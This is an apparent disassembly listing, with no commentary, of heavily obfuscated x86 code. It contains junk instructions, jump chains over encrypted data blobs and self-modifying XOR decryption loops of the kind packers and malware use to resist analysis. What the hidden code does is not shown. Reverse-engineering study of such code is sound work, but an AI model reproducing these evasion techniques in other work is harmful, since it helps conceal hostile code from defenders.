loc_409E69:				; CODE XREF: .text:00409E64p
		mov	[esi+7EB128Dh],	ecx
		shl	dword ptr [esi-59h], 54h
		std
		repne inc ebx
		sub	eax, 0EA8172C2h
		sub	eax, 157E8D3Eh
		xchg	edi, edi
		push	ebx
		add	ebx, edx
		add	ebx, eax
		sub	ebx, esi
		lea	esp, [esp]
		add	ebx, ebp
		mov	ebx, ebx
		pop	ebx
		lea	ebx, [ebx]
		add	ebx, 4FF556A1h
		sub	ebx, 4FF556A1h
		add	edx, 0
		add	eax, 0FFFFFFFFh
		sub	eax, 0FFFFFFFFh


loc_409EAB:				; CODE XREF: .text:00409EE1j
		pop	edi


loc_409EAC:				; CODE XREF: .text:00409E59j
		xor	dword ptr [edi+42h], 1Fh
		xchg	cx, cx
		xor	dword ptr [edi+43h], 68h
		xor	byte ptr [edi-8], 8Fh
		xor	dword ptr [edi-7], 2E857D9h
		xor	dword ptr [edi+44h], 4282h
		pop	edi
		popfw
		jmp	loc_409EAB
; ---------------------------------------------------------------------------
		jmp	short loc_409F16
; ---------------------------------------------------------------------------
		dd 4E495013h
		db 6Fh
; ---------------------------------------------------------------------------


loc_409EED:				; CODE XREF: .text:loc_409F16j
		jmp	short loc_409F27
; ---------------------------------------------------------------------------
		db 7Ch
		dd 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h,	987B0A75h
		dd 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h
		db 61h,	86h
; ---------------------------------------------------------------------------


loc_409F16:				; CODE XREF: .text:00409EE6j
		jmp	short loc_409EED
; ---------------------------------------------------------------------------
		dd 129D7447h, 5E99E0E3h
; ---------------------------------------------------------------------------


loc_409F20:				; CODE XREF: .text:loc_409F27j
		jmp	short loc_409F52
; ---------------------------------------------------------------------------
		aas
		or	al, 55h
		push	5Bh


loc_409F27:				; CODE XREF: .text:loc_409EEDj
		jmp	short loc_409F20
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1
		aaa


loc_409F2D:				; CODE XREF: .text:loc_409F52j
		jmp	short loc_409F65
; ---------------------------------------------------------------------------
		db 0A4h
		dd 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h,	40C3727Dh
		dd 6C1FBE79h, 583BCA35h, 41796B1h
		db 0EDh, 22h
; ---------------------------------------------------------------------------


loc_409F52:				; CODE XREF: .text:loc_409F20j
		jmp	short loc_409F2D
; ---------------------------------------------------------------------------
		dd 6EE970B3h, 7AA59C0Fh, 4621882Bh
; ---------------------------------------------------------------------------


loc_409F60:				; CODE XREF: .text:loc_409F65j
		jmp	short loc_409F87
; ---------------------------------------------------------------------------
		pop	es
		xor	al, 5Dh


loc_409F65:				; CODE XREF: .text:loc_409F2Dj
		jmp	short loc_409F60
; ---------------------------------------------------------------------------
		db 0D2h
		dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h,	0CEC9D093h
		dd 0DA85FCEFh, 0A601E80Bh
		db 0E7h, 94h, 3Dh
; ---------------------------------------------------------------------------


loc_409F87:				; CODE XREF: .text:loc_409F60j
		jmp	near ptr dword_409AC4+174h
; ---------------------------------------------------------------------------
		jmp	short loc_409FB2
; ---------------------------------------------------------------------------
		cmc
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat


loc_409F95:				; CODE XREF: .text:loc_409FB2j
		jmp	short loc_409FC3
; ---------------------------------------------------------------------------
		db 0C4h
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h,	6063921Dh
		dd 8CBFDE19h
; ---------------------------------------------------------------------------
		aad	0EAh


loc_409FB2:				; CODE XREF: .text:00409F8Cj
		jmp	short loc_409F95
; ---------------------------------------------------------------------------
		dd 0B65178DBh, 428D24B7h, 8E899053h
		db 0AFh, 0BCh, 45h
; ---------------------------------------------------------------------------


loc_409FC3:				; CODE XREF: .text:loc_409F95j
		cmp	edi, esi
		pushfw
		push	eax
		call	sub_409FD3
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp
		std

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409FD3	proc near		; CODE XREF: .text:00409FC8p
		add	eax, 846500F9h
		sub	eax, 846500F9h
		jmp	short loc_409FE6
; ---------------------------------------------------------------------------
		db 0ECh
		dd 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx


loc_409FE6:				; CODE XREF: sub_409FD3+Aj
		add	edx, 6ACBA46Dh
		sub	edx, 6ACBA46Dh
		xchg	ecx, ecx


loc_409FF4:				; CODE XREF: sub_409FD3+5Ej
		pop	eax
		xor	dword ptr [eax+27h], 6
		push	ecx
		mov	ecx, esi
		pop	ecx
		xchg	bp, bp
		lea	ebp, [ebp+0]
		xor	dword ptr [eax+28h], 68h
		xor	byte ptr [eax-8], 8Fh
		xor	dword ptr [eax-7], 6E850B6h
		xor	dword ptr [eax+29h], 278Ch
		pop	eax
		popfw
		jmp	loc_409FF4
sub_409FD3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_40A065
; ---------------------------------------------------------------------------
		and	cl, bl
		sahf


loc_40A03B:				; CODE XREF: .text:loc_40A065j
		jmp	short loc_40A07D
; ---------------------------------------------------------------------------
		db 7Fh,	4Ch, 95h
		dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah
		dd 0BD146726h, 0B98003B2h, 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------
		setalc


loc_40A065:				; CODE XREF: .text:0040A036j
		jmp	short loc_40A03B
; ---------------------------------------------------------------------------
		db 57h
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h,	0E3129D74h
		db 0E0h
; ---------------------------------------------------------------------------


loc_40A07D:				; CODE XREF: .text:loc_40A03Bj
		jnz	loc_4098BC
		jmp	short loc_40A0AC
; ---------------------------------------------------------------------------
		dec	ebx
		sub	[ecx-1Ah], al
		daa
		aam	7Dh


loc_40A08C:				; CODE XREF: .text:loc_40A0ACj
		jmp	short loc_40A0BE
; ---------------------------------------------------------------------------
		dw 0C372h
		dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h,	0F6EE970h
		dd 2B7AA59Ch, 7462188h
; ---------------------------------------------------------------------------


loc_40A0AC:				; CODE XREF: .text:0040A083j
		jmp	short loc_40A08C
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh
		db 2Ah
; ---------------------------------------------------------------------------


loc_40A0B9:				; CODE XREF: .text:loc_40A0BEj
		jmp	short loc_40A0EA
; ---------------------------------------------------------------------------
		db 1Bh
		db 0B8h, 91h
; ---------------------------------------------------------------------------


loc_40A0BE:				; CODE XREF: .text:loc_40A08Cj
		jmp	short loc_40A0B9
; ---------------------------------------------------------------------------
		div	bh


loc_40A0C2:				; CODE XREF: .text:loc_40A0EAj
		jmp	short loc_40A100
; ---------------------------------------------------------------------------
		dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h
		dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
		db 30h,	0A9h
; ---------------------------------------------------------------------------


loc_40A0EA:				; CODE XREF: .text:loc_40A0B9j
		jmp	short loc_40A0C2
; ---------------------------------------------------------------------------
		dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h, 19606392h,	0D58CBFDEh
; ---------------------------------------------------------------------------


loc_40A100:				; CODE XREF: .text:loc_40A0C2j
		pop	edx
		jmp	short loc_40A12B
; ---------------------------------------------------------------------------
		inc	edx
		push	ebx
		nop


loc_40A106:				; CODE XREF: .text:loc_40A12Bj
		jmp	short loc_40A13B
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		dd 0F033A26Dh
		db 69h,	0EEh, 8Fh
; ---------------------------------------------------------------------------


loc_40A12B:				; CODE XREF: .text:0040A101j
		jmp	short loc_40A106
; ---------------------------------------------------------------------------
		db 1Ch,	25h, 0FAh
		dd 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------


loc_40A135:				; CODE XREF: .text:loc_40A13Bj
		jmp	short loc_40A15E
; ---------------------------------------------------------------------------
		db 0B4h
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]


loc_40A13B:				; CODE XREF: .text:loc_40A106j
		jmp	short loc_40A135
; ---------------------------------------------------------------------------
		and	cl, bl
		sahf


loc_40A140:				; CODE XREF: .text:loc_40A15Ej
		jmp	short loc_40A171
; ---------------------------------------------------------------------------
		dw 4C7Fh
		dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h,	688B5A05h
		dd 14672681h
		db 0BDh, 0B2h
; ---------------------------------------------------------------------------


loc_40A15E:				; CODE XREF: .text:loc_40A135j
		jmp	short loc_40A140
; ---------------------------------------------------------------------------
		dd 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h
		db 0F3h
; ---------------------------------------------------------------------------


loc_40A171:				; CODE XREF: .text:loc_40A140j
		mov	ebp, ebx
		jmp	short loc_40A1A5
; ---------------------------------------------------------------------------
		db 0E5h, 0BAh, 6Bh
; ---------------------------------------------------------------------------
		enter	0FFFF8661h, 47h


loc_40A17C:				; CODE XREF: .text:loc_40A1A5j
		jmp	short loc_40A1BC
; ---------------------------------------------------------------------------
		dw 9D74h
		dd 99E0E312h, 550C3F5Eh, 0D1F85B6Ah, 0DA43736h,	910D3C2h
		dd 0C53C2F0Eh, 41284B1Ah, 7DD427E6h, 7940C372h
		db 0BEh
; ---------------------------------------------------------------------------


loc_40A1A5:				; CODE XREF: .text:0040A173j
		jmp	short loc_40A17C
; ---------------------------------------------------------------------------
		db 1Fh
		dd 3BCA356Ch
; ---------------------------------------------------------------------------
		pop	eax


loc_40A1AD:				; CODE XREF: .text:loc_40A1BCj
		jmp	short loc_40A1DB
; ---------------------------------------------------------------------------
		mov	cl, 96h
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd


loc_40A1BC:				; CODE XREF: .text:loc_40A17Cj
		jmp	short loc_40A1AD
; ---------------------------------------------------------------------------
		dw 2B7Ah
		dd 7462188h, 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh,	0F7F691B8h
		dd 9382CD64h
		db 0D0h, 0C9h, 0CEh
; ---------------------------------------------------------------------------


loc_40A1DB:				; CODE XREF: .text:loc_40A1ADj
		mov	ebx, [edx+24h]
		jmp	short loc_40A20F
; ---------------------------------------------------------------------------
		db 0DAh
; ---------------------------------------------------------------------------


loc_40A1E1:				; CODE XREF: .text:loc_40A20Fj
		jmp	short loc_40A220
; ---------------------------------------------------------------------------
		db 0Bh
		dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h
		dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h, 63921DF4h
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx


loc_40A20F:				; CODE XREF: .text:0040A1DEj
		jmp	short loc_40A1E1
; ---------------------------------------------------------------------------
		db 0BFh, 8Ch, 0D5h
		dd 5178DBEAh, 8D24B7B6h, 89905342h
; ---------------------------------------------------------------------------


loc_40A220:				; CODE XREF: .text:loc_40A1E1j
		add	ebx, ebp
		pushfw
		push	eax
		call	sub_40A22B
; ---------------------------------------------------------------------------
		inc	ebp

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A22B	proc near		; CODE XREF: .text:0040A225p
		lea	ecx, [ecx]
		push	edx
		lea	edi, [edi]
		lea	ecx, [ecx]
		add	edx, eax
		add	edx, ebp
		mov	edx, ecx
		mov	edx, ebx
		pop	edx
		lea	esp, [esp]
		jmp	short loc_40A243
; ---------------------------------------------------------------------------
		db 0A2h, 33h, 0F0h
; ---------------------------------------------------------------------------


loc_40A243:				; CODE XREF: sub_40A22B+13j
					; sub_40A22B+C8j
		pop	eax
		xor	dword ptr [eax+19h], 52BC0A3Eh
		xchg	bx, bx
		sub	edx, 0B078F9ABh
		add	edx, 0B078F9ABh
		sub	ecx, 539ABE3Ah
		sub	ecx, 0AC6541C6h
		add	edx, 49710DDh
		sub	edx, 49710DDh
		lea	edx, [edx]
		dec	edx
		inc	edx
		push	edx
		lea	ebp, [ebp+0]
		lea	esp, [esp]
		lea	ebp, [ebp+0]
		pop	edx
		add	edx, 0FFFFFFFFh
		add	edx, 1
		sub	eax, 23FEF49h
		add	eax, 23FEF49h
		sub	ecx, 0
		jmp	short loc_40A2A3
; ---------------------------------------------------------------------------
		mov	ebp, [eax-7Fh]
		db	26h, 67h
		adc	al, 0BDh


loc_40A2A3:				; CODE XREF: sub_40A22B+6Fj
		push	eax
		mov	eax, eax
		pop	eax
		push	ecx
		mov	ecx, eax
		mov	ecx, edi
		jmp	short loc_40A2B3
; ---------------------------------------------------------------------------
		dw 4457h
		db 2Dh,	62h, 0F3h
; ---------------------------------------------------------------------------


loc_40A2B3:				; CODE XREF: sub_40A22B+81j
		xchg	dx, dx
		mov	ecx, edi
		pop	ecx
		add	ebx, 1
		add	ebx, 0FFFFFFFFh
		inc	ecx
		sub	ecx, 1
		xor	eax, 0
		lea	ebp, [ebp+0]
		xor	dword ptr [eax+1Dh], 0E9h
		xor	byte ptr [eax-8], 8Fh
		xor	dword ptr [eax-7], 1E85080h
		xor	dword ptr [eax+1Eh], 0A3E00ACh
		pop	eax
		popfw
		jmp	loc_40A243
sub_40A22B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_40A323
; ---------------------------------------------------------------------------
		dw 10D3h
		dd 3C2F0E09h
; ---------------------------------------------------------------------------
		lds	ebx, [edx]
		dec	ebx


loc_40A303:				; CODE XREF: .text:loc_40A323j
		jmp	short loc_40A334
; ---------------------------------------------------------------------------
		db 28h,	41h, 0E6h
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh, 22ED0417h
		dd 6EE970B3h
		db 0Fh,	9Ch, 0A5h
; ---------------------------------------------------------------------------


loc_40A323:				; CODE XREF: .text:0040A2F8j
		jmp	short loc_40A303
; ---------------------------------------------------------------------------


loc_40A325:				; CODE XREF: .text:loc_40A334j
		jmp	short loc_40A351
; ---------------------------------------------------------------------------
		db 7Ah
		dd 4621882Bh, 0D25D3407h, 1E59A0A3h
; ---------------------------------------------------------------------------


loc_40A334:				; CODE XREF: .text:loc_40A303j
		jmp	short loc_40A325
; ---------------------------------------------------------------------------
		dw 0CCFFh
; ---------------------------------------------------------------------------


loc_40A338:				; CODE XREF: .text:loc_40A351j
		jmp	short loc_40A362
; ---------------------------------------------------------------------------
		dw 2A15h
		dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh
		db 0E7h
; ---------------------------------------------------------------------------


loc_40A351:				; CODE XREF: .text:loc_40A325j
		jmp	short loc_40A338
; ---------------------------------------------------------------------------
		db 94h
		db 3Dh
; ---------------------------------------------------------------------------


loc_40A355:				; CODE XREF: .text:loc_40A362j
		jmp	short loc_40A385
; ---------------------------------------------------------------------------
		db 32h
		dd 7E390083h, 8AF52CDFh
		db 0FBh, 18h
; ---------------------------------------------------------------------------


loc_40A362:				; CODE XREF: .text:loc_40A338j
		jmp	short loc_40A355
; ---------------------------------------------------------------------------
		dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h, 48EB3A65h,	0F4C706E1h
		dd 6063921Dh, 8CBFDE19h, 78DBEAD5h
; ---------------------------------------------------------------------------
		push	ecx


loc_40A385:				; CODE XREF: .text:loc_40A355j
		mov	ebx, [edx+1Ch]
		pushfw
		push	edi
		call	sub_40A393
; ---------------------------------------------------------------------------
		and	al, 8Dh
		inc	edx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A393	proc near		; CODE XREF: .text:0040A38Bp
		xor	eax, 0
		lea	ebx, [ebx]
		xchg	ebx, ebx
		xor	ecx, 0
		push	eax
		lea	ecx, [ecx]
		lea	esp, [esp]
		add	eax, eax
		add	eax, ecx
		pop	eax
		jmp	short loc_40A3B4
; ---------------------------------------------------------------------------
		db 0D8h
		dd 84971631h
; ---------------------------------------------------------------------------


loc_40A3B4:				; CODE XREF: sub_40A393+1Aj
		sub	edx, 0FFFFFFFFh
		add	edx, 0FFFFFFFFh
		inc	edx
		dec	edx
		add	edx, 0AD2EB8ABh
		sub	edx, 0AD2EB8ABh
		push	ecx
		xchg	ebx, ebx
		sub	ecx, eax
		xchg	edx, edx
		add	ecx, eax
		lea	edi, [edi]
		pop	ecx
		push	edx
		lea	ebp, [ebp+0]
		pop	edx
		sub	ecx, 1
		add	ecx, 1
		xchg	cx, cx
		sub	edx, 20D4746Fh
		add	edx, 20D4746Fh
		lea	esp, [esp]
		sub	ebx, 40277298h
		sub	ebx, 0BFD88D68h


loc_40A3FD:				; CODE XREF: sub_40A393+A9j
		pop	edi
		xor	dword ptr [edi+6Dh], 5C5Ch
		sub	edx, 1
		sub	edx, 0FFFFFFFFh
		sub	eax, 0FFFFFFFFh
		add	eax, 0FFFFFFFFh
		xor	dword ptr [edi+6Fh], 5Eh
		xor	byte ptr [edi-8], 8Fh
		xor	dword ptr [edi-7], 3E857ECh
		xor	dword ptr [edi+70h], 50h
		pop	edi
		popfw
		jmp	loc_40A3FD
sub_40A393	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 66h,	9Ch, 57h
		dd 8E8h, 0A75AC00h, 0D6F1987Bh,	0F309EB57h, 4FAE29B0h
		dd 6BBAE5DCh, 8766F687h, 0EB1B8DEDh, 87663F01h,	24248DDBh
		dd 815F098Dh, 25B7h, 3C85D400h,	0FFE88300h, 51FFC083h
		dd 8159CE03h, 28B7h, 0CC00h, 0F8B78000h, 8FFFFFFFh, 0FFF9B781h
		dd 57B4FFFFh, 0B78108E8h, 29h, 0D400003Ah, 0E99D665Fh
		dd 0FFFFFFBEh, 0E8579C66h, 6, 7DD427E6h, 128DC372h, 0F381h
		dd 434B0000h, 0C281h, 248D0000h, 1C08324h, 81FF8748h, 702DBAE9h
		dd 46E98171h, 878E8FD2h, 0D28766F6h, 74FFC281h,	0EA81CC56h
		dd 0CC5674FFh, 3CB7815Fh, 5C000000h, 81000044h,	27621BEAh
		dd 1BC2811Ch, 661C2762h, 8766DB87h, 3EB781C9h, 5E000000h
		dd 80000000h, 0FFFFF8B7h, 0B7818FFFh, 0FFFFFFF9h, 6E857A3h
		dd 3FB781h, 7F0000h, 665F0000h,	0FFB6E99Dh, 28EBFFFFh
		dd 0EF39EBCEh, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
		dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
		dd 0E148D7EBh, 1DF4C706h, 19606392h, 0D58CBFDEh, 5178DBEAh
		dd 579C665Eh, 6E8h, 428D2400h, 81899053h, 0A90B45E9h, 45C18196h
		dd 8396A90Bh, 814BFFEBh, 4A5DFDC2h, 0FDEA81FFh,	66FF4A5Dh
		dd 352ED87h, 5AD18BD5h,	1E98341h, 2FB7815Fh, 0D4000000h
		dd 66000059h, 6650F687h, 9EBDB87h, 0A108ABFAh, 0DDB487C6h
		dd 87505852h, 58C68BC9h, 4BFFEB83h, 31B781h, 5E0000h, 0B7800000h
		dd 0FFFFFFF8h, 0F9B7818Fh, 0AEFFFFFFh, 8106E857h, 32B7h
		dd 6100h, 9D665F00h, 0FFFFABE9h, 1328EBFFh, 49503AEBh
		dd 57C6F4Eh, 81688B5Ah,	0BD146726h, 0B98003B2h,	75AC5FFEh
		dd 0F1987B0Ah, 2D4457D6h, 29B0F362h, 0EBDC4FAEh, 0E529EBD7h
		dd 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh, 5B6AEBEBh
		dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch,	27E64128h
		dd 66015803h, 9E8529Ch,	0C3000000h, 1FBE7940h, 3BCA356Ch
		dd 8B501B8Dh, 2D098DC3h, 0
aLXbBbFEB	db '‹ÀXÁº"š¡ÁFÝe^Â',0
		align 4
		dd 0FFE88300h, 51FFC083h, 1B2A07EBh, 0F7F691B8h, 8BCA8B64h
		dd 8DCF8BC8h, 9EB5909h,	0A601E80Bh, 323D94E7h, 1C08383h
		dd 1EB8348h, 5AFFEB83h,	58B281h, 42D90000h, 0E98300B7h
		dd 1C18301h, 5BB281h, 0B10000h,	0B2800000h, 0FFFFFFF8h
		dd 0F9B2818Fh, 0C7FFFFFFh, 8109E852h, 5CB2h, 3600h, 9D665AD9h
		dd 0FFFFC2E9h, 519C66FFh, 6E8h,	0A9307300h, 535CCF2Eh
		dd 835BD88Bh, 0EA83FFEAh, 95190501h, 192DEE7Fh,	81EE7F95h
		dd 141174C1h, 8CC181BAh, 6645EBEEh, 368DC987h, 8301C083h
		dd 0E883FFC0h, 0EB834001h, 0FFEB8301h, 3BB18159h, 0D2000000h
		dd 8300B3DAh, 0C18301E9h, 43EA8101h, 81A98BF4h,	8BF443C2h
		dd 0F0C22DA9h, 3E2DECEFh, 8313100Fh, 0E983FFE9h, 814B4301h
		dd 0C2h, 813F8D00h, 0EAh, 8DD28700h, 0B181006Dh, 3Eh, 0D2h
		dd 0FFF8B180h, 818FFFFFh, 0FFFFF9B1h, 0E851A2FFh, 3FB18106h
		dd 67000000h, 59D20000h, 91E99D66h, 66FFFFFFh, 8E8569Ch
		dd 87000000h, 2352DDB4h, 539ED920h, 248DD903h, 6D8D24h
		dd 815BDB8Bh, 0C2h, 24248D00h, 8D52368Dh, 3DB871Bh, 66FF87D5h
		dd 3EBFF87h, 5A75AC5Fh,	5BDF8B53h, 50ED8766h, 35h, 0C1815800h
		dd 0F8E750E5h, 50E5E981h, 4B43F8E7h, 5A098D52h,	4D80A22Dh
		dd 7F5E2D11h, 815EEEB2h, 5BB6h,	9AD500h, 1C38300h, 81FFC383h
		dd 0C6E3CAE9h, 36E981FAh, 8D05391Ch, 0B681006Dh, 5Dh, 5Fh
		dd 0FFF8B680h, 818FFFFFh, 0FFFFF9B6h, 0E856C2FFh, 5EB68108h
		dd 1D000000h, 5E000000h, 0B3E99D66h, 66FFFFFFh,	5E8519Ch
		dd 9000000h, 0C53C2F0Eh, 81DB0353h, 0C3h, 55B00h, 81000000h
		dd 8EAB94C1h, 6CC181CCh, 8D337154h, 8159006Dh, 23B1h, 1A00h
		dd 6AC18100h, 81202512h, 0DAED96C1h, 0FF8766DFh, 52FF8766h
		dd 0D72BD12Bh, 0EA81h, 835A0000h, 0C28301C2h, 1EB50FFh
		dd 0CC05EB1Eh, 0B81B2A15h, 0EB128D58h, 0D0938203h, 39EFC281h
		dd 0EA8126A3h, 26A339EFh, 8324248Dh, 8143FFC3h,	24B1h
		dd 6800h, 0F8B18000h, 8FFFFFFFh, 0FFF9B181h, 51BAFFFFh
		dd 0B18105E8h, 25h, 23CDh, 0E99D6659h, 0FFFFFF7Eh, 8330EBh
		dd 2CDF7E39h, 8A3AEBF5h, 567118FBh, 0E2ADC4D7h,	2EA93073h
		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h, 0EAD58CBFh
		dd 0B65178DBh, 0D5EB24B7h, 9053428Dh, 8E892EEBh, 9A45BCAFh
		dd 66C1A8CBh, 54F1EBA7h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
		dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h, 0B487C6A1h
		dd 2FEBD3FFh, 389BAA95h, 0E4777611h, 0EB13024Dh, 4E495032h
		dd 5A057C6Fh, 2681688Bh, 0B2BD1467h, 0FEB98003h, 0A75AC5Fh
		dd 0D6F1987Bh, 622D4457h, 0EB29B0F3h, 24EBAEDAh, 0BAE5DC4Fh
		dd 8661C86Bh, 0EB9D7447h, 0E0E312F1h, 0C3F5E99h, 0F85B6A55h
		dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 0B8h, 529C6680h, 1E8h
		dd 0C1834B00h, 1E98301h, 0EBED8766h, 6C1FBE03h,	0FF876652h
		dd 0C2811B8Dh, 0
		db 8Dh,	36h
; ---------------------------------------------------------------------------
		pop	edx
		lea	edx, [edx]
		lea	edx, [edx]
		lea	ebp, [ebp+0]


loc_40AA06:				; CODE XREF: .text:0040AA45j
		pop	edx
		xor	dword ptr [edx+25h], 2355h
		sub	edx, 15F05CCh
		sub	edx, 0FEA0FA34h
		xor	dword ptr [edx+27h], 5Bh
		xor	byte ptr [edx-8], 8Fh
		xor	dword ptr [edx-7], 1E852B4h
		xor	dword ptr [edx+28h], 18h
		pop	edx
		popfw
		jmp	loc_40AA06
; ---------------------------------------------------------------------------
		jmp	short loc_40AA7B
; ---------------------------------------------------------------------------
		db 1Bh,	0B8h, 91h
; ---------------------------------------------------------------------------


loc_40AA4F:				; CODE XREF: .text:loc_40AA7Bj
		jmp	short loc_40AA94
; ---------------------------------------------------------------------------
		db 0F6h, 0F7h, 64h
		dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh
		db 0A9h, 2Eh, 0CFh
; ---------------------------------------------------------------------------


loc_40AA7B:				; CODE XREF: .text:0040AA4Aj
		jmp	short loc_40AA4F
; ---------------------------------------------------------------------------
		pop	esp


loc_40AA7E:				; CODE XREF: .text:loc_40AA94j
		jmp	short loc_40AAA9
; ---------------------------------------------------------------------------
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
; ---------------------------------------------------------------------------


loc_40AA94:				; CODE XREF: .text:loc_40AA4Fj
					; .text:loc_40AAFAj
		jmp	short loc_40AA7E
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh


loc_40AA9B:				; CODE XREF: .text:loc_40AAA9j
		jmp	short loc_40AAC7
; ---------------------------------------------------------------------------
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h


loc_40AAA9:				; CODE XREF: .text:loc_40AA7Ej
		jmp	short loc_40AA9B
; ---------------------------------------------------------------------------
		db 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh,	0A26D8497h
		dd 0EE69F033h
		db 8Fh,	1Ch, 25h
; ---------------------------------------------------------------------------


loc_40AAC7:				; CODE XREF: .text:loc_40AA9Bj
		cmp	eax, 665B5001h
		jmp	short loc_40AAFE
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]
		and	cl, bl
		sahf
		jg	short loc_40AB22
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl


loc_40AADB:				; CODE XREF: .text:loc_40AAFEj
		jmp	short loc_40AB0F
; ---------------------------------------------------------------------------
		db 76h,	77h, 0E4h
		dd 5013024Dh, 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh
		dd 0AC5FFEB9h
; ---------------------------------------------------------------------------
		jnz	short loc_40AB04


loc_40AAFA:				; CODE XREF: .text:0040AB3Aj
		jnp	short loc_40AA94


loc_40AAFC:				; CODE XREF: .text:0040AB37j
		icebp
		setalc


loc_40AAFE:				; CODE XREF: .text:0040AACCj
		jmp	short loc_40AADB
; ---------------------------------------------------------------------------
		dd 622D4457h
; ---------------------------------------------------------------------------


loc_40AB04:				; CODE XREF: .text:0040AAF8j
		rep mov	al, 29h
		scasb
		dec	edi
		fsubr	st(5), st
; ---------------------------------------------------------------------------
		db 0BAh
; ---------------------------------------------------------------------------
		imul	ecx, eax, 61h


loc_40AB0F:				; CODE XREF: .text:loc_40AADBj
		jnz	loc_40AC9D
		jmp	short loc_40AB45
; ---------------------------------------------------------------------------
		db 0E0h
		dd 0C3F5E99h
; ---------------------------------------------------------------------------


loc_40AB1C:				; CODE XREF: .text:loc_40AB45j
		jmp	short loc_40AB5B
; ---------------------------------------------------------------------------
		push	ebp
		push	5Bh
		clc


loc_40AB22:				; CODE XREF: .text:0040AAD4j
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx
		out	27h, al
		aam	7Dh
		jb	short loc_40AAFC
		inc	eax
		jns	short loc_40AAFA
		pop	ds
		insb
		xor	eax, 0B1583BCAh
		xchg	eax, esi
		pop	ss


loc_40AB45:				; CODE XREF: .text:0040AB15j
		jmp	short loc_40AB1C
; ---------------------------------------------------------------------------
		add	al, 0EDh


loc_40AB49:				; CODE XREF: .text:loc_40AB5Bj
		jmp	short loc_40AB7A
; ---------------------------------------------------------------------------
		db 22h
		dd 6EE970B3h, 7AA59C0Fh, 4621882Bh
; ---------------------------------------------------------------------------
		pop	es
		xor	al, 5Dh


loc_40AB5B:				; CODE XREF: .text:loc_40AB1Cj
		jmp	short loc_40AB49
; ---------------------------------------------------------------------------
		db 0D2h, 0A3h, 0A0h
		dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h
		dd 0E80BDA85h
		db 1, 0A6h
; ---------------------------------------------------------------------------


loc_40AB7A:				; CODE XREF: .text:loc_40AB49j
		cmp	edx, 7A7000h
		jmp	short loc_40ABB1
; ---------------------------------------------------------------------------
		dw 18FBh
		dd 0C4D75671h
		db 0ADh, 0E2h, 73h
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: .text:loc_40ABB1j
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------
		db 30h,	0A9h, 2Eh
